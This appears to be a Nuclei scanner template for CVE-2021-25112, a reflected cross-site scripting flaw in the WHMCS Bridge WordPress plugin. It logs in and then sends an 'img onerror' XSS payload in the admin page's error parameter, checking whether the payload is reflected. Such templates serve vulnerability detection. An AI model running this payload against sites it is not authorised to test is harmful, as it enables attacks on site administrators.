id: CVE-2021-25112

info:
  name: WHMCS Bridge < 6.4b - Cross-Site Scripting (XSS)
  author: dhiyaneshDk
  severity: medium
  description: |
    The plugin does not sanitise and escape the error parameter before outputting it back in admin dashboard, leading to a Reflected Cross-Site Scripting
  reference:
    - https://wpscan.com/vulnerability/4aae2dd9-8d51-4633-91bc-ddb53ca3471c
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25112
    - https://plugins.trac.wordpress.org/changeset/2659751
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-25112
    cwe-id: CWE-79
  tags: wordpress,wp-plugin,wp,authenticated,whmcs,xss

requests:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-admin/options-general.php?page=cc-ce-bridge-cp&error=%3Cimg%20src%20onerror=alert(document.domain)%3E HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<strong><img src onerror=alert(document.domain)></strong>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200